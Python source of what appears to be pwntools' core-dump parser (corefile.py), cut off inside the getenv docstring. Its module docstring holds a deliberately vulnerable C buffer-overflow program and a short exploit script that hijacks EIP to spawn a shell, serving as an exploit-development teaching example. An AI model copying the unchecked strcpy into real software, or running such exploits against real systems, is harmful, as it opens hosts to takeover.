/
corefile.py
1414 lines (1116 loc) · 46 KB
/
corefile.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
"""Read information from Core Dumps.
Core dumps are extremely useful when writing exploits, even outside of
the normal act of debugging things.
Using Corefiles to Automate Exploitation
----------------------------------------
For example, if you have a trivial buffer overflow and don't want to
open up a debugger or calculate offsets, you can use a generated core
dump to extract the relevant information.
.. code-block:: c
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
.. code-block:: shell
$ gcc crash.c -m32 -o crash -fno-stack-protector
.. code-block:: python
from pwn import *
# Generate a cyclic pattern so that we can auto-find the offset
payload = cyclic(128)
# Run the process once so that it crashes
process(['./crash', payload]).wait()
# Get the core dump
core = Coredump('./core')
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline('id')
print io.recvline()
# uid=1000(user) gid=1000(user) groups=1000(user)
Module Members
----------------------------------------
"""
from __future__ import absolute_import
import collections
import ctypes
import glob
import gzip
import re
import os
import socket
import StringIO
import tempfile
import elftools
from elftools.common.py3compat import bytes2str
from elftools.common.utils import roundup
from elftools.common.utils import struct_parse
from elftools.construct import CString
from pwnlib import atexit
from pwnlib.context import context
from pwnlib.elf.datatypes import *
from pwnlib.elf.elf import ELF
from pwnlib.log import getLogger
from pwnlib.tubes.process import process
from pwnlib.tubes.ssh import ssh_channel
from pwnlib.tubes.tube import tube
from pwnlib.util.fiddling import b64d
from pwnlib.util.fiddling import unhex
from pwnlib.util.misc import read
from pwnlib.util.misc import write
from pwnlib.util.packing import pack
from pwnlib.util.packing import unpack_many
log = getLogger(__name__)
prstatus_types = {
'i386': elf_prstatus_i386,
'amd64': elf_prstatus_amd64,
'arm': elf_prstatus_arm,
'aarch64': elf_prstatus_aarch64
}
prpsinfo_types = {
32: elf_prpsinfo_32,
64: elf_prpsinfo_64,
}
siginfo_types = {
32: elf_siginfo_32,
64: elf_siginfo_64
}
# Slightly modified copy of the pyelftools version of the same function,
# until they fix this issue:
# https://github.com/eliben/pyelftools/issues/93
def iter_notes(self):
""" Iterates the list of notes in the segment.
"""
offset = self['p_offset']
end = self['p_offset'] + self['p_filesz']
while offset < end:
note = struct_parse(
self.elffile.structs.Elf_Nhdr,
self.stream,
stream_pos=offset)
note['n_offset'] = offset
offset += self.elffile.structs.Elf_Nhdr.sizeof()
self.stream.seek(offset)
# n_namesz is 4-byte aligned.
disk_namesz = roundup(note['n_namesz'], 2)
note['n_name'] = bytes2str(
CString('').parse(self.stream.read(disk_namesz)))
offset += disk_namesz
desc_data = bytes2str(self.stream.read(note['n_descsz']))
note['n_desc'] = desc_data
offset += roundup(note['n_descsz'], 2)
note['n_size'] = offset - note['n_offset']
yield note
class Mapping(object):
"""Encapsulates information about a memory mapping in a :class:`Corefile`.
"""
def __init__(self, core, name, start, stop, flags):
self._core=core
#: :class:`str`: Name of the mapping, e.g. ``'/bin/bash'`` or ``'[vdso]'``.
self.name = name or ''
#: :class:`int`: First mapped byte in the mapping
self.start = start
#: :class:`int`: First byte after the end of hte mapping
self.stop = stop
#: :class:`int`: Size of the mapping, in bytes
self.size = stop-start
#: :class:`int`: Mapping flags, using e.g. ``PROT_READ`` and so on.
self.flags = flags
@property
def path(self):
""":class:`str`: Alias for :attr:`.Mapping.name`"""
return self.name
@property
def address(self):
""":class:`int`: Alias for :data:`Mapping.start`."""
return self.start
@property
def permstr(self):
""":class:`str`: Human-readable memory permission string, e.g. ``r-xp``."""
flags = self.flags
return ''.join(['r' if flags & 4 else '-',
'w' if flags & 2 else '-',
'x' if flags & 1 else '-',
'p'])
def __str__(self):
return '%x-%x %s %x %s' % (self.start,self.stop,self.permstr,self.size,self.name)
def __repr__(self):
return '%s(%r, start=%#x, stop=%#x, size=%#x, flags=%#x)' \
% (self.__class__.__name__,
self.name,
self.start,
self.stop,
self.size,
self.flags)
def __int__(self):
return self.start
@property
def data(self):
""":class:`str`: Memory of the mapping."""
return self._core.read(self.start, self.size)
def __getitem__(self, item):
if isinstance(item, slice):
start = int(item.start or self.start)
stop = int(item.stop or self.stop)
# Negative slices...
if start < 0:
start += self.stop
if stop < 0:
stop += self.stop
if not (self.start <= start <= stop <= self.stop):
log.error("Byte range [%#x:%#x] not within range [%#x:%#x]" \
% (start, stop, self.start, self.stop))
data = self._core.read(start, stop-start)
if item.step == 1:
return data
return data[::item.step]
return self._core.read(item, 1)
def __contains__(self, item):
return self.start <= item < self.stop
def find(self, sub, start=None, end=None):
"""Similar to str.find() but works on our address space"""
if start is None:
start = self.start
if end is None:
end = self.stop
result = self.data.find(sub, start-self.address, end-self.address)
if result == -1:
return result
return result + self.address
def rfind(self, sub, start=None, end=None):
"""Similar to str.rfind() but works on our address space"""
if start is None:
start = self.start
if end is None:
end = self.stop
result = self.data.rfind(sub, start-self.address, end-self.address)
if result == -1:
return result
return result + self.address
class Corefile(ELF):
r"""Enhances the inforation available about a corefile (which is an extension
of the ELF format) by permitting extraction of information about the mapped
data segments, and register state.
Registers can be accessed directly, e.g. via ``core_obj.eax`` and enumerated
via :data:`Corefile.registers`.
Arguments:
core: Path to the core file. Alternately, may be a :class:`.process` instance,
and the core file will be located automatically.
::
>>> c = Corefile('./core')
>>> hex(c.eax)
'0xfff5f2e0'
>>> c.registers
{'eax': 4294308576,
'ebp': 1633771891,
'ebx': 4151132160,
'ecx': 4294311760,
'edi': 0,
'edx': 4294308700,
'eflags': 66050,
'eip': 1633771892,
'esi': 0,
'esp': 4294308656,
'orig_eax': 4294967295,
'xcs': 35,
'xds': 43,
'xes': 43,
'xfs': 0,
'xgs': 99,
'xss': 43}
Mappings can be iterated in order via :attr:`Corefile.mappings`.
::
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5),
Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4),
Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6),
Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6),
Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5),
Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0),
Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4),
Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6),
Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6),
Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6),
Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5),
Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5),
Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4),
Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6),
Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6)]
Example:
The Linux kernel may not overwrite an existing core-file.
>>> if os.path.exists('core'): os.unlink('core')
Let's build an example binary which should eat ``R0=0xdeadbeef``
and ``PC=0xcafebabe``.
If we run the binary and then wait for it to exit, we can get its
core file.
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
>>> address = 0x41410000
>>> elf = ELF.from_assembly(shellcode, vma=address)
>>> io = elf.process(env={'HELLO': 'WORLD'})
>>> io.poll(block=True)
-11
You can specify a full path a la ``Corefile('/path/to/core')``,
but you can also just access the :attr:`.process.corefile` attribute.
>>> core = io.corefile
The core file has a :attr:`.Corefile.exe` property, which is a :class:`.Mapping`
object. Each mapping can be accessed with virtual addresses via subscript, or
contents can be examined via the :attr:`.Mapping.data` attribute.
>>> core.exe.address == address
True
The core file also has registers which can be accessed direclty.
Pseudo-registers ``pc`` and ``sp`` are available on all architectures,
to make writing architecture-agnostic code more simple.
>>> core.pc == 0xcafebabe
True
>>> core.r0 == 0xdeadbeef
True
>>> core.sp == core.r13
True
We may not always know which signal caused the core dump, or what address
caused a segmentation fault. Instead of accessing registers directly, we
can also extract this information from the core dump.
On QEMU-generated core dumps, this information is unavailable, so we
substitute the value of PC. In our example, that's correct anyway.
>>> core.fault_addr == 0xcafebabe
True
>>> core.signal
11
Core files can also be generated from running processes.
This requires GDB to be installed, and can only be done with native
processes. Getting a "complete" corefile requires GDB 7.11 or better.
>>> elf = ELF('/bin/bash')
>>> context.clear(binary=elf)
>>> io = process(elf.path, env={'HELLO': 'WORLD'})
>>> core = io.corefile
Data can also be extracted directly from the corefile.
>>> core.exe[elf.address:elf.address+4]
'\x7fELF'
>>> core.exe.data[:4]
'\x7fELF'
Various other mappings are available by name. On Linux, 32-bit Intel binaries
should have a VDSO section. Since our ELF is statically linked, there is
no libc which gets mapped.
>>> core.vdso.data[:4]
'\x7fELF'
>>> core.libc # doctest: +ELLIPSIS
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
The corefile also contains a :attr:`.Corefile.stack` property, which gives
us direct access to the stack contents. On Linux, the very top of the stack
should contain two pointer-widths of NULL bytes, preceded by the NULL-
terminated path to the executable (as passed via the first arg to ``execve``).
>>> stack_end = core.exe.name
>>> stack_end += '\x00' * (1+8)
>>> core.stack.data.endswith(stack_end)
True
>>> len(core.stack.data) == core.stack.size
True
We can also directly access the environment variables and arguments.
>>> 'HELLO' in core.env
True
>>> core.getenv('HELLO')
'WORLD'
>>> core.argc
1
>>> core.argv[0] in core.stack
True
>>> core.string(core.argv[0]) == core.exe.path
True
Corefiles can also be pulled from remote machines via SSH!
>>> s = ssh('travis', 'example.pwnme')
>>> _ = s.set_working_directory()
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> path = s.upload(elf.path)
>>> _ =s.chmod('+x', path)
>>> io = s.process(path)
>>> io.wait()
-1
>>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP
True
Tests:
These are extra tests not meant to serve as examples.
Corefile.getenv() works correctly, even if the environment variable's
value contains embedded '='. Corefile is able to find the stack, even
if the stack pointer doesn't point at the stack.
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process(env={'FOO': 'BAR=BAZ'})
>>> io.wait()
>>> core = io.corefile
>>> core.getenv('FOO')
'BAR=BAZ'
>>> core.sp == 0
True
>>> core.sp in core.stack
False
Corefile gracefully handles the stack being filled with garbage, including
argc / argv / envp being overwritten.
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
... mov dword ptr [esp], 0x41414141
... pop eax
... jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait()
>>> core = io.corefile
>>> core.argc, core.argv, core.env
(0, [], {})
>>> core.stack.data.endswith('AAAA')
True
>>> core.fault_addr == core.sp
True
"""
_fill_gaps = False
def __init__(self, *a, **kw):
#: The NT_PRSTATUS object.
self.prstatus = None
#: The NT_PRPSINFO object
self.prpsinfo = None
#: The NT_SIGINFO object
self.siginfo = None
#: :class:`dict`: Dictionary of memory mappings from ``address`` to ``name``
self.mappings = []
#: :class:`int`: Address of the stack base
self.stack = None
#: :class:`dict`: Environment variables read from the stack. Keys are
#: the environment variable name, values are the memory address of the
#: variable.
#:
#: Note: Use with the :meth:`.ELF.string` method to extract them.
#:
#: Note: If FOO=BAR is in the environment, self.env['FOO'] is the
#: address of the string "BAR\x00".
self.env = {}
#: :class:`list`: List of addresses of arguments on the stack.
self.argv = []
#: :class:`int`: Number of arguments passed
self.argc = 0
# Pointer to the executable filename on the stack
self.at_execfn = 0
# Pointer to the entry point
self.at_entry = 0
try:
super(Corefile, self).__init__(*a, **kw)
except IOError:
log.warning("No corefile. Have you set /proc/sys/kernel/core_pattern?")
raise
self.load_addr = 0
self._address = 0
if not self.elftype == 'CORE':
log.error("%s is not a valid corefile" % self.file.name)
if not self.arch in prstatus_types.keys():
log.warn_once("%s does not use a supported corefile architecture, registers are unavailable" % self.file.name)
prstatus_type = prstatus_types.get(self.arch, None)
prpsinfo_type = prpsinfo_types.get(self.bits, None)
siginfo_type = siginfo_types.get(self.bits, None)
with log.waitfor("Parsing corefile...") as w:
self._load_mappings()
for segment in self.segments:
if not isinstance(segment, elftools.elf.segments.NoteSegment):
continue
for note in iter_notes(segment):
# Try to find NT_PRSTATUS. Note that pyelftools currently
# mis-identifies the enum name as 'NT_GNU_ABI_TAG'.
if prstatus_type and \
note.n_descsz == ctypes.sizeof(prstatus_type) and \
note.n_type == 'NT_GNU_ABI_TAG':
self.NT_PRSTATUS = note
self.prstatus = prstatus_type.from_buffer_copy(note.n_desc)
# Try to find NT_PRPSINFO
# Note that pyelftools currently mis-identifies the enum name
# as 'NT_GNU_BUILD_ID'
if note.n_descsz == ctypes.sizeof(prpsinfo_type) and \
note.n_type == 'NT_GNU_BUILD_ID':
self.NT_PRPSINFO = note
self.prpsinfo = prpsinfo_type.from_buffer_copy(note.n_desc)
# Try to find NT_SIGINFO so we can see the fault
if note.n_type == 0x53494749:
self.NT_SIGINFO = note
self.siginfo = siginfo_type.from_buffer_copy(note.n_desc)
# Try to find the list of mapped files
if note.n_type == constants.NT_FILE:
with context.local(bytes=self.bytes):
self._parse_nt_file(note)
# Try to find the auxiliary vector, which will tell us
# where the top of the stack is.
if note.n_type == constants.NT_AUXV:
with context.local(bytes=self.bytes):
self._parse_auxv(note)
if not self.stack and self.mappings:
self.stack = self.mappings[-1]
if self.stack and self.mappings:
for mapping in self.mappings:
if mapping.stop == self.stack:
mapping.name = '[stack]'
self.stack = mapping
break
else:
for mapping in self.mappings:
if self.stack in mapping:
mapping.name = '[stack]'
self.stack = mapping
break
else:
log.warn('Could not find the stack!')
self.stack = None
with context.local(bytes=self.bytes, log_level='warn'):
try:
self._parse_stack()
except ValueError:
# If there are no environment variables, we die by running
# off the end of the stack.
pass
self._describe_core()
def _parse_nt_file(self, note):
t = tube()
t.unrecv(note.n_desc)
count = t.unpack()
page_size = t.unpack()
starts = []
addresses = {}
for i in range(count):
start = t.unpack()
end = t.unpack()
ofs = t.unpack()
starts.append(start)
for i in range(count):
filename = t.recvuntil('\x00', drop=True)
start = starts[i]
for mapping in self.mappings:
if mapping.start == start:
mapping.name = filename
self.mappings = sorted(self.mappings, key=lambda m: m.start)
vvar = vdso = vsyscall = False
for mapping in reversed(self.mappings):
if mapping.name:
continue
if not vsyscall and mapping.start == 0xffffffffff600000:
mapping.name = '[vsyscall]'
vsyscall = True
continue
if mapping.start == self.at_sysinfo_ehdr \
or (not vdso and mapping.size in [0x1000, 0x2000] \
and mapping.flags == 5 \
and self.read(mapping.start, 4) == '\x7fELF'):
mapping.name = '[vdso]'
vdso = True
continue
if not vvar and mapping.size == 0x2000 and mapping.flags == 4:
mapping.name = '[vvar]'
vvar = True
continue
@property
def vvar(self):
""":class:`Mapping`: Mapping for the vvar section"""
for m in self.mappings:
if m.name == '[vvar]':
return m
@property
def vdso(self):
""":class:`Mapping`: Mapping for the vdso section"""
for m in self.mappings:
if m.name == '[vdso]':
return m
@property
def vsyscall(self):
""":class:`Mapping`: Mapping for the vsyscall section"""
for m in self.mappings:
if m.name == '[vsyscall]':
return m
@property
def libc(self):
""":class:`Mapping`: First mapping for ``libc.so``"""
expr = r'libc\b.*so$'
for m in self.mappings:
if not m.name:
continue
basename = os.path.basename(m.name)
if re.match(expr, basename):
return m
@property
def exe(self):
""":class:`Mapping`: First mapping for the executable file."""
for m in self.mappings:
if self.at_entry and m.start <= self.at_entry <= m.stop:
if not m.name and self.at_execfn:
m.name = self.string(self.at_execfn)
return m
@property
def pid(self):
""":class:`int`: PID of the process which created the core dump."""
if self.prstatus:
return int(self.prstatus.pr_pid)
@property
def ppid(self):
""":class:`int`: Parent PID of the process which created the core dump."""
if self.prstatus:
return int(self.prstatus.pr_ppid)
@property
def signal(self):
""":class:`int`: Signal which caused the core to be dumped.
Example:
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGTRAP
True
>>> elf = ELF.from_assembly(shellcraft.crash())
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.signal == signal.SIGSEGV
True
"""
if self.siginfo:
return int(self.siginfo.si_signo)
if self.prstatus:
return int(self.prstatus.pr_cursig)
@property
def fault_addr(self):
""":class:`int`: Address which generated the fault, for the signals
SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only available in native
core dumps created by the kernel. If the information is unavailable,
this returns the address of the instruction pointer.
Example:
>>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef
True
"""
if self.siginfo:
return int(self.siginfo.sigfault_addr)
return getattr(self, 'pc', 0)
@property
def _pc_register(self):
name = {
'i386': 'eip',
'amd64': 'rip',
}.get(self.arch, 'pc')
return name
@property
def pc(self):
""":class:`int`: The program counter for the Corefile
This is a cross-platform way to get e.g. ``core.eip``, ``core.rip``, etc.
"""
return self.registers.get(self._pc_register, None)
@property
def _sp_register(self):
name = {
'i386': 'esp',
'amd64': 'rsp',
}.get(self.arch, 'sp')
return name
@property
def sp(self):
""":class:`int`: The program counter for the Corefile
This is a cross-platform way to get e.g. ``core.esp``, ``core.rsp``, etc.
"""
return self.registers.get(self._sp_register, None)
def _describe(self):
pass
def _describe_core(self):
gnu_triplet = '-'.join(map(str, (self.arch, self.bits, self.endian)))
fields = [
repr(self.path),
'%-10s %s' % ('Arch:', gnu_triplet),
'%-10s %#x' % ('%s:' % self._pc_register.upper(), getattr(self, 'pc', 0)),
'%-10s %#x' % ('%s:' % self._sp_register.upper(), getattr(self, 'sp', 0)),
]
if self.exe and self.exe.name:
fields += [
'%-10s %s' % ('Exe:', '%r (%#x)' % (self.exe.name, self.exe.address))
]
if self.fault_addr:
fields += [
'%-10s %#x' % ('Fault:', self.fault_addr)
]
log.info_once('\n'.join(fields))
def _load_mappings(self):
for s in self.segments:
if s.header.p_type != 'PT_LOAD':
continue
mapping = Mapping(self,
None,
s.header.p_vaddr,
s.header.p_vaddr + s.header.p_memsz,
s.header.p_flags)
self.mappings.append(mapping)
def _parse_auxv(self, note):
t = tube()
t.unrecv(note.n_desc)
for i in range(0, note.n_descsz, context.bytes * 2):
key = t.unpack()
value = t.unpack()
# The AT_EXECFN entry is a pointer to the executable's filename
# at the very top of the stack, followed by a word's with of
# NULL bytes. For example, on a 64-bit system...
#
# 0x7fffffffefe8 53 3d 31 34 33 00 2f 62 69 6e 2f 62 61 73 68 00 |S=14|3./b|in/b|ash.|
# 0x7fffffffeff8 00 00 00 00 00 00 00 00 |....|....| | |
if key == constants.AT_EXECFN:
self.at_execfn = value
value = value & ~0xfff
value += 0x1000
self.stack = value
if key == constants.AT_ENTRY:
self.at_entry = value
if key == constants.AT_PHDR:
self.at_phdr = value
if key == constants.AT_BASE:
self.at_base = value
if key == constants.AT_SYSINFO_EHDR:
self.at_sysinfo_ehdr = value
def _parse_stack(self):
# Get a copy of the stack mapping
stack = self.stack
if not stack:
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
# Immediately preceding is a NULL-terminated environment variable string.
# We want to find the beginning of it
if self.at_execfn:
address = self.at_execfn-1
else:
log.debug('No AT_EXECFN')
address = stack.stop
address -= 2*self.bytes
address -= 1
address = stack.rfind('\x00', None, address)
address += 1
# Sanity check!
try:
assert stack[address] == '\x00'
except AssertionError:
# Something weird is happening. Just don't touch it.
log.debug("Something is weird")
return
except ValueError:
# If the stack is not actually present in the coredump, we can't
# read from the stack. This will fail as:
# ValueError: 'seek out of range'
log.debug("ValueError")
return
# address is currently set to the NULL terminator of the last
# environment variable.
address = stack.rfind('\x00', None, address)
# We've found the beginning of the last environment variable.
# We should be able to search up the stack for the envp[] array to
# find a pointer to this address, followed by a NULL.
last_env_addr = address + 1
p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
if p_last_env_addr < 0:
# Something weird is happening. Just don't touch it.
log.warn_once("Found bad environment at %#x", last_env_addr)
return
# Sanity check that we did correctly find the envp NULL terminator.
envp_nullterm = p_last_env_addr+context.bytes
assert self.unpack(envp_nullterm) == 0
# We've successfully located the end of the envp[] array.
#
# It comes immediately after the argv[] array, which itself
# is NULL-terminated.
#
# Now let's find the end of argv
p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)
start_of_envp = p_end_of_argv + self.bytes
# Now we can fill in the environment
env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
for pointer in unpack_many(env_pointer_data):
# If the stack is corrupted, the pointer will be outside of
# the stack.
if pointer not in stack:
continue
try:
name_value = self.string(pointer)
except Exception:
continue
name, value = name_value.split('=', 1)
# "end" points at the byte after the null terminator
end = pointer + len(name_value) + 1
# Do not mark things as environment variables if they point
# outside of the stack itself, or we had to cross into a different
# mapping (after the stack) to read it.
# This may occur when the entire stack is filled with non-NUL bytes,
# and we NULL-terminate on a read failure in .string().
if end not in stack:
continue
self.env[name] = pointer + len(name) + len('=')
# May as well grab the arguments off the stack as well.
# argc comes immediately before argv[0] on the stack, but
# we don't know what argc is.
#
# It is unlikely that argc is a valid stack address.
address = p_end_of_argv - self.bytes
while self.unpack(address) in stack:
address -= self.bytes
# address now points at argc
self.argc = self.unpack(address)
# we can extract all of the arguments as well
self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])
@property
def maps(self):
""":class:`str`: A printable string which is similar to /proc/xx/maps.
::
>>> print Corefile('./core').maps
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
"""
return '\n'.join(map(str, self.mappings))
def getenv(self, name):
"""getenv(name) -> int
Read an environment variable off the stack, and return its contents.
Arguments:
name(str): Name of the environment variable to read.
Returns:
:class:`str`: The contents of the environment variable.
Example:
>>> elf = ELF.from_assembly(shellcraft.trap())
>>> io = elf.process(env={'GREETING': 'Hello!'})
>>> io.wait()